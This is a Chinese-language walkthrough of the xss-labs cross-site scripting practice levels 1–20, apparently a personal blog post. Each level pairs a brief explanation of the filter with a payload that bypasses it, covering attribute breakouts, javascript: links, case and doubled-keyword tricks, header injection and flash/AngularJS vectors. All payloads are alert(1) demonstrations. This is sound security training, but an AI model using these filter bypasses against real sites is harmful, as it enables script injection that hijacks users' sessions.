1
网址直接注入
name=<script>alert(1)</script>2
查看html,对value进行闭合后构建script
"><script>alert(1)</script>3
对<>"转义为html实体,不使用<>"即可,使用'构造闭合
' onclick='alert(1)' onmouseover='alert(1)
4
对<>过滤,使用onclick即可
" onclick="alert(1)5
<script>转义为<scr_ipt>
onmouserover转义为o_nmouseover
onclick转义为on_click
构造一个JavaScript链接即可
"><a href="javascript:alert(1)">6
与5相同,对以上的字符串进行转义,并且对href也进行了转义,为hr_ef
可以对href进行大小写等
"><a HRef="javascript:alert(1)">7
对script\href进行了过滤,重写即可
"><a hrhrefef="javascrscriptipt:alert(1)">"><scrscriptipt>alert(1)</scrscriptipt>
8
应该算是储存性xss,强制转换为小写,并对其转义,编码绕过后点击友情链接
javascript:alert(1)9
要求包含http头,在8的基础上加上http即可
javascript:alert(1)//http://javascript:alert('xsshttp://')
10
页面无注入点,查看html,发现一个form表单,其中的t_link、t_history、t_sort都被隐藏,删掉hidden后,对这三个表单进行测试,t_sort可以注入,闭合标签,输入提交以后需要删除hidden标签成功
" onmouseover="alert(1)11
进入11以后,发现和10基本一样,但是11的表单中多出一个t_ref,其中的值是来自于10的网址,于是使用burp查看请求,改掉其中的referer字段,然后在页面中去掉hidden即可
" onmouseover="alert(1)12
查看网页的源码,发现t_ua,判定对请求的UA修改即可,并删掉hidden
" onclick="alert(1)13
查看网页源码,发现t_cook,判定可以对请求的cookie修改以达到注入
" onclick="alert(1)14
网址无法打开,无法测试。
大概是通过exif注入。
15
ng-include是AngularJS中的指令,可以包含外部的html文件,默认情况下,只能包含在同一域名下。所以可以引用其他页面来完成注入。
'level1.php?name=<IMG SRC=1 onerror=alert(1)>'16
keyword有get请求,会将keyword获取的数据放在<center>和</center>中,直接构造<script>和构造a标签会强制转义,所以不可用。
采用构造在a标签中构造onmouseover可以达成注入,也可以对img标签中构造onerror可以达成注入。
但是空格也被实体转义,使用%201替代
?keyword=<a%20onmouseover="alert(1)">17
Firefox不能打开swf文件,使用chrome完成。观察网址,有arg01和arg02两个注入点,直接对arg02注入即可。
<embed>标签定义了一个容器,用来嵌入外部应用或则插件。
arg02=" onmouseover=alert(1)18
同17一样,只不过arg01和arg02参数会互换,所以对arg01注入即可。
arg01=" onmouseover=alert(1)19
flash xss
对flash进行逆向,该flash包含getURL函数,可以xss,且arg01和arg02在网页中以arg01=arg02形式存在。
对网址进行构造,将xss写入flash。
?arg01=version&arg02=<a%20href="javascript:alert(1)">test</a>20
flash xss,没看懂
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123- %20是空格,%0a是换行 ↩
《经典xss—labs的xss练习》链接:https://xdym11235.com/archives/16.html
具体版权规定详见侧栏版权说明页面